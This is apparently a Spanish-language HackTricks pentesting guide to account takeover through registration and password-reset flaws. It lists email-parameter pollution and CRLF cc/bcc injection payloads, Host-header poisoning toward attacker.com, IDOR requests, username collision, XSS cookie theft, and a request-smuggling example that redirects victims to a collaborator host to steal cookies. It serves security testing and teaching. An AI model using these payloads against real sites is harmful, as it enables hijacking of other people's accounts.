hacktricks/pentesting-web/registration-vulnerabilities.md

10 KiB

Vulnerabilidades de Registro y Toma de Control

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Toma de Control de Registro

Registro Duplicado

  • Intenta generar usando un nombre de usuario existente
  • Verifica variando el correo electrónico:
    • mayúsculas
    • +1@
    • agregar algún punto en el correo electrónico
    • caracteres especiales en el nombre del correo (%00, %09, %20)
    • Coloca caracteres negros después del correo electrónico: test@test.com a
    • victim@gmail.com@attacker.com
    • victim@attacker.com@gmail.com

Enumeración de Usuario

Verifica si puedes determinar si un nombre de usuario ya ha sido registrado en la aplicación.

Política de Contraseña

Al crear un usuario, verifica la política de contraseña (verifica si se pueden usar contraseñas débiles).
En ese caso, puedes intentar fuerza bruta en las credenciales.

Inyección SQL

Verifica esta página para aprender cómo intentar tomar el control de cuentas o extraer información a través de Inyecciones SQL en formularios de registro.

Toma de Control de Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnerabilidades de SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Cambio de Correo Electrónico

Después de registrarte, intenta cambiar el correo electrónico y verifica si este cambio se valida correctamente o si se puede cambiar a correos electrónicos arbitrarios.

Más Verificaciones

  • Verifica si puedes usar correos electrónicos desechables
  • Una contraseña larga (>200) conduce a DoS
  • Verifica los límites de velocidad en la creación de cuentas
  • Utiliza username@burp_collab.net y analiza el callback

Toma de Control de Restablecimiento de Contraseña

Fuga de Token de Restablecimiento de Contraseña a través del Referente

  1. Solicita restablecer la contraseña a tu dirección de correo electrónico
  2. Haz clic en el enlace de restablecimiento de contraseña
  3. No cambies la contraseña
  4. Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
  5. Intercepta la solicitud en el proxy de Burp Suite
  6. Verifica si el encabezado de referente está filtrando el token de restablecimiento de contraseña.

Envenenamiento de Restablecimiento de Contraseña

  1. Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
  2. Agrega o edita los siguientes encabezados en Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Reenvía la solicitud con el encabezado modificado
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Busca una URL de restablecimiento de contraseña basada en el encabezado de host como: https://attacker.com/reset-password.php?token=TOKEN

Restablecimiento de Contraseña a través del Parámetro de Correo Electrónico

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR en Parámetros de API

  1. El atacante debe iniciar sesión con su cuenta e ir a la función Cambiar contraseña.
  2. Iniciar Burp Suite y interceptar la solicitud.
  3. Enviarla a la pestaña de repetición y editar los parámetros: ID de usuario/correo electrónico
    powershell POST /api/changepass [...] ("form": {"email":"victima@email.com","password":"contraseñasegura"})

Token Débil de Restablecimiento de Contraseña

El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.
Intenta determinar si el token expira o si siempre es el mismo, en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.

  • Marca de tiempo
  • ID de usuario
  • Correo electrónico del usuario
  • Nombre y apellido
  • Fecha de nacimiento
  • Criptografía
  • Solo números
  • Secuencia de token pequeña (caracteres entre [A-Z,a-z,0-9])
  • Reutilización de token
  • Fecha de vencimiento del token

Fuga de Token de Restablecimiento de Contraseña

  1. Desencadena una solicitud de restablecimiento de contraseña utilizando la API/UI para un correo electrónico específico, por ejemplo: test@mail.com
  2. Inspecciona la respuesta del servidor y busca resetToken
  3. Luego usa el token en una URL como https://ejemplo.com/v3/usuario/contraseña/reset?resetToken=[EL_TOKEN_DE_RESTABLECIMIENTO]&correo=[EL_CORREO]

Restablecimiento de Contraseña a Través de Colisión de Nombre de Usuario

  1. Regístrate en el sistema con un nombre de usuario idéntico al nombre de usuario de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: "admin "
  2. Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
  3. Utiliza el token enviado a tu correo electrónico y restablece la contraseña de la víctima.
  4. Conéctate a la cuenta de la víctima con la nueva contraseña.

La plataforma CTFd era vulnerable a este ataque.
Ver: CVE-2020-7245

Toma de Control de Cuenta a Través de Cross Site Scripting

  1. Encuentra un XSS dentro de la aplicación o un subdominio si las cookies están limitadas al dominio principal: *.dominio.com
  2. Filtra la cookie de sesión actual
  3. Autentícate como el usuario utilizando la cookie

Toma de Control de Cuenta a Través de HTTP Request Smuggling

  1. Utiliza smuggler para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Crea una solicitud que sobrescribirá el POST / HTTP/1.1 con los siguientes datos:
    GET http://algo.burpcollaborator.net HTTP/1.1 X: con el objetivo de redirigir a las víctimas a burpcollab y robar sus cookies\
  3. La solicitud final podría verse así:
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Informes de Hackerone que explotan este error\

Toma de cuenta a través de CSRF

  1. Crear un payload para CSRF, por ejemplo: "Formulario HTML con envío automático para cambio de contraseña"
  2. Enviar el payload

Toma de cuenta a través de JWT

El Token JSON Web puede ser utilizado para autenticar a un usuario.

  • Editar el JWT con otro ID de usuario / Correo electrónico
  • Verificar una firma JWT débil

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Referencias

Aprende a hackear AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: